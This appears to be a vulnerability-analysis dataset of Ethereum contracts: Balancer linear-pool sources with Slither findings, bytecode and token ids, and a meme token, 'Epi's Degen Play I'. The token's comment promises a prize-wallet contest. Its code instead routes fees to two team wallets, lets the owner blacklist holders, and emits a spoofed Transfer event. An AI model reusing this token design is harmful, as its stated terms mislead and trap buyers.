GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "./IButtonWrapper.sol"; // Balancer only supports ERC20 tokens, so we use this intermediate interface // to enforce ERC20-ness of UnbuttonTokens. interface IUnbuttonToken is IButtonWrapper, IERC20 { // solhint-disable-previous-line no-empty-blocks } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/BasePoolSplitCodeFactory.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/FactoryWidePauseWindow.sol"; import "./UnbuttonAaveLinearPool.sol"; contract UnbuttonAaveLinearPoolFactory is BasePoolSplitCodeFactory, FactoryWidePauseWindow { constructor(IVault vault) BasePoolSplitCodeFactory(vault, type(UnbuttonAaveLinearPool).creationCode) { // solhint-disable-previous-line no-empty-blocks } /** * @dev Deploys a new `UnbuttonAaveLinearPool`. */ function create( string memory name, string memory symbol, IUnbuttonToken mainToken, IUnbuttonToken wrappedToken, uint256 upperTarget, uint256 swapFeePercentage, address owner ) external returns (LinearPool) { (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) = getPauseConfiguration(); LinearPool pool = UnbuttonAaveLinearPool( _create( abi.encode( getVault(), name, symbol, mainToken, wrappedToken, upperTarget, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) ) ); // LinearPools have a separate post-construction initialization step: we perform it here to // ensure deployment and initialization are atomic. pool.initialize(); return pool; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-standalone-utils/contracts/interfaces/IUnbuttonToken.sol"; import "../interfaces/IAToken.sol"; import "../LinearPool.sol"; /** * @title UnbuttonAaveLinearPool * * @author @aalavandhan1984 ([email protected]) * * @notice This linear pool is between any Unbutton ERC-20 (eg, wrapped AMPL) * and its corresponding Unbutton aToken (eg, wrapped aaveAMPL). * * @dev In the comments we assume that the pool is between {wAMPL - wAaveAMPL}; * however this linear pool will support any rebasing token and its * aToken counterpart both of which are wrapped using the unbutton wrapper. * * For the {wAMPL - wAaveAMPL} pool, the exchange rate is calculated based on: * - the rate between wAMPL and AMPL * - the rate between AMPL and aaveAMPL * - the rate between wAaveAMPL and aaveAMPL * * Unbutton wrapper: https://github.com/buttonwood-protocol/button-wrappers/blob/main/contracts/UnbuttonToken.sol */ contract UnbuttonAaveLinearPool is LinearPool { constructor( IVault vault, string memory name, string memory symbol, IUnbuttonToken mainToken, IUnbuttonToken wrappedToken, uint256 upperTarget, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) LinearPool( vault, name, symbol, mainToken, // wAMPL wrappedToken, // wAaveAMPL upperTarget, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // wAMPL.underlying() == AMPL address mainUnderlying = mainToken.underlying(); // wAaveAMPL.underlying() == aaveAMPL // aaveAMPL.UNDERLYING_ASSET_ADDRESS() == AMPL address wrappedUnderlying = IAToken(wrappedToken.underlying()).UNDERLYING_ASSET_ADDRESS(); _require(mainUnderlying == wrappedUnderlying, Errors.TOKENS_MISMATCH); } /* * @dev This function returns the exchange rate between the main token and * the wrapped token as a 18 decimal fixed point number. * In our case, it's the exchange rate between wAMPL and wAaveAMPL * (i.e., the number of wAMPL for each wAaveAMPL). * All UnbuttonTokens have 18 decimals, so it is not necessary to * query decimals for the main token or wrapped token. */ function _getWrappedTokenRate() internal view override returns (uint256) { // 1e18 wAaveAMPL = r1 aaveAMPL uint256 r1 = IUnbuttonToken(getWrappedToken()).wrapperToUnderlying(FixedPoint.ONE); // r1 aaveAMPL = r1 AMPL (AMPL and aaveAMPL have a 1:1 exchange rate) // r1 AMPL = r2 wAMPL uint256 r2 = IUnbuttonToken(getMainToken()).underlyingToWrapper(r1); // 1e18 wAaveAMPL = r2 wAMPL return r2; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; interface IAToken { /** * @dev returns the address of the aToken's underlying asset */ // solhint-disable-next-line func-name-mixedcase function UNDERLYING_ASSET_ADDRESS() external view returns (address); }
0x608060405234801561001057600080fd5b50600436106100715760003560e01c80632da47c40116100505780632da47c40146100ca5780636634b753146100e05780638d928af81461010057610071565b8062c194db14610076578063174481fa146100945780632ccb254a146100aa575b600080fd5b61007e610108565b60405161008b91906107f0565b60405180910390f35b61009c610127565b60405161008b9291906107be565b6100bd6100b83660046106a7565b61016d565b60405161008b9190610803565b6100d2610232565b60405161008b9291906108aa565b6100f36100ee36600461068b565b61029c565b60405161008b91906107e5565b6100bd6102c7565b60606101226040518060200160405280600081525061034a565b905090565b7f000000000000000000000000436f4a57ec250d4d40415f0f740211fb8b98199a7f000000000000000000000000e2eff652b04d778ea27a197ee8f7fda9aaf371f69091565b600080600061017a610232565b9150915060006101c161018b6102c7565b8c8c8c8c8c8c8a8a8e6040516020016101ad9a99989796959493929190610824565b604051602081830303815290604052610423565b90508073ffffffffffffffffffffffffffffffffffffffff16638129fc1c6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561020b57600080fd5b505af115801561021f573d6000803e3d6000fd5b50929d9c50505050505050505050505050565b600080427f0000000000000000000000000000000000000000000000000000000062dd92bd81101561028e57807f0000000000000000000000000000000000000000000000000000000062dd92bd03925062278d009150610297565b60009250600091505b509091565b73ffffffffffffffffffffffffffffffffffffffff1660009081526020819052604090205460ff1690565b7f000000000000000000000000ba12222222228d8ba445958a75a0704d566bf2c890565b80517f602038038060206000396000f3fefefefefefefefefefefefefefefefefefefe808352600091602081018484f0908452915061034473ffffffffffffffffffffffffffffffffffffffff831615156101ac6104ae565b50919050565b8051604080517f0000000000000000000000000000000000000000000000000000000000002a3b7f0000000000000000000000000000000000000000000000000000000000002a3a818101858101848101602090810190965280855293957f000000000000000000000000436f4a57ec250d4d40415f0f740211fb8b98199a9592947f000000000000000000000000e2eff652b04d778ea27a197ee8f7fda9aaf371f694938801866000828a3c846000888301883c50602089810190898501016104158183866104c0565b505050505050505050919050565b60008061042f8361053a565b73ffffffffffffffffffffffffffffffffffffffff811660008181526020819052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555192935090917f83a48fbcfc991335314e74d0496aab6a1987e992ddc85dddbcc4d6dd6ef2e9fc9190a292915050565b816104bc576104bc81610582565b5050565b5b602081106104fe5781518352602092830192909101907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0016104c1565b905182516020929092036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0180199091169116179052565b600060606105478361034a565b905060008151602083016000f0905073ffffffffffffffffffffffffffffffffffffffff811661057b573d6000803e3d6000fd5b9392505050565b7f08c379a0000000000000000000000000000000000000000000000000000000006000908152602060045260076024526642414c23000030600a808404818106603090810160081b95839006959095019082900491820690940160101b939093010160c81b604452606490fd5b600082601f8301126105ff578081fd5b813567ffffffffffffffff80821115610616578283fd5b60405160207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8501168201018181108382111715610654578485fd5b60405282815292508284830160200186101561066f57600080fd5b8260208601602083013760006020848301015250505092915050565b60006020828403121561069c578081fd5b813561057b816108b8565b600080600080600080600060e0888a0312156106c1578283fd5b873567ffffffffffffffff808211156106d8578485fd5b6106e48b838c016105ef565b985060208a01359150808211156106f9578485fd5b506107068a828b016105ef565b9650506040880135610717816108b8565b94506060880135610727816108b8565b93506080880135925060a0880135915060c0880135610745816108b8565b8091505092959891949750929550565b60008151808452815b8181101561077a5760208185018101518683018201520161075e565b8181111561078b5782602083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b73ffffffffffffffffffffffffffffffffffffffff92831681529116602082015260400190565b901515815260200190565b60006020825261057b6020830184610755565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b600061014073ffffffffffffffffffffffffffffffffffffffff808e1684528160208501526108558285018e610755565b91508382036040850152610869828d610755565b9a811660608501529889166080840152505060a081019590955260c085019390935260e0840191909152610100830152909116610120909101529392505050565b918252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff811681146108da57600080fd5b5056fea264697066735822122075c5d37a50e2e532aa33048ffa2178e8ee6aa74ac232c5bf619c34b61ade4f6c64736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-storage", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-storage', 'impact': 'High', 'confidence': 'High'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 2620, 2278, 23833, 16932, 2475, 2063, 22022, 2629, 2546, 2487, 2050, 2692, 2094, 8889, 2629, 2278, 11329, 2692, 2278, 2575, 20952, 24594, 2050, 2620, 7011, 24096, 2692, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 1013, 1013, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1013, 1013, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 2236, 2270, 6105, 2004, 2405, 2011, 1013, 1013, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1013, 1013, 1006, 2012, 2115, 5724, 1007, 2151, 2101, 2544, 1012, 1013, 1013, 2023, 2565, 2003, 5500, 1999, 1996, 3246, 2008, 2009, 2097, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,687
0x95891eCcb1afDA92f7B1F1C2C4141b6F5A027de3
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ /** https://t.me/EpisDegenPlays Epi's Degen Play I ($EPI1) Welcome to the casino of degenrate shitcoins!!!! this token is a contest and social experiment. 8% of each transaction will be transferred (as ETH) to the Prize Wallet. at the end of the contest, this will be split two ways: 50% will go to the wallet that performed the buy that took the coin to it's ATH 50% will go to the wallet that performed the last buy of .1 ETH or greater as a buyer safety measure, each time the prize wallet exceeds $10,000, the money will be transferred into a multi-signature wallet. maythous has graciously volunteered to be the co-signer on this multi-sig wallet. the contest ends after 1 hour passes without a buy. May the most degenrate ones win. */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EpisDegenPlayI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 5000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Epi's Degen Play I"; string private constant _symbol = "EPI1"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x143b74941507eB306e1c9Fa5d6b019fF85bdDea7); _feeAddrWallet2 = payable(0xa765D1aE6d35743E563a285875B9E47Aa330838f); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x427c62231B05Ec6Cd8B49eb02a3B7eCA45a41381), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(5).mul(4)); _feeAddrWallet2.transfer(amount.div(5)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612ae5565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612677565b61042a565b60405161016d9190612aca565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c47565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612628565b610458565b6040516101d59190612aca565b60405180910390f35b3480156101ea57600080fd5b506102056004803603810190610200919061259a565b610531565b005b34801561021357600080fd5b5061021c610621565b6040516102299190612cbc565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126f4565b61062a565b005b34801561026757600080fd5b506102706106dc565b005b34801561027e57600080fd5b506102996004803603810190610294919061259a565b61074e565b6040516102a69190612c47565b60405180910390f35b3480156102bb57600080fd5b506102c461079f565b005b3480156102d257600080fd5b506102db6108f2565b6040516102e891906129fc565b60405180910390f35b3480156102fd57600080fd5b5061030661091b565b6040516103139190612ae5565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e9190612677565b610958565b6040516103509190612aca565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126b3565b610976565b005b34801561038e57600080fd5b50610397610ac6565b005b3480156103a557600080fd5b506103ae610b40565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125ec565b61109a565b6040516103e49190612c47565b60405180910390f35b60606040518060400160405280601281526020017f457069277320446567656e20506c617920490000000000000000000000000000815250905090565b600061043e610437611121565b8484611129565b6001905092915050565b6000674563918244f40000905090565b60006104658484846112f4565b61052684610471611121565b6105218560405180606001604052806028815260200161332e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d7611121565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118f99092919063ffffffff16565b611129565b600190509392505050565b610539611121565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bd90612ba7565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610632611121565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b690612ba7565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071d611121565b73ffffffffffffffffffffffffffffffffffffffff161461073d57600080fd5b600047905061074b8161195d565b50565b6000610798600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6b565b9050919050565b6107a7611121565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b90612ba7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4550493100000000000000000000000000000000000000000000000000000000815250905090565b600061096c610965611121565b84846112f4565b6001905092915050565b61097e611121565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290612ba7565b60405180910390fd5b60005b8151811015610ac257600160066000848481518110610a56577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aba90612f5d565b915050610a0e565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b07611121565b73ffffffffffffffffffffffffffffffffffffffff1614610b2757600080fd5b6000610b323061074e565b9050610b3d81611ad9565b50565b610b48611121565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcc90612ba7565b60405180910390fd5b600f60149054906101000a900460ff1615610c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1c90612c27565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16674563918244f40000611129565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cfa57600080fd5b505afa158015610d0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3291906125c3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9457600080fd5b505afa158015610da8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dcc91906125c3565b6040518363ffffffff1660e01b8152600401610de9929190612a17565b602060405180830381600087803b158015610e0357600080fd5b505af1158015610e17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3b91906125c3565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec43061074e565b600080610ecf6108f2565b426040518863ffffffff1660e01b8152600401610ef196959493929190612a69565b6060604051808303818588803b158015610f0a57600080fd5b505af1158015610f1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f439190612746565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555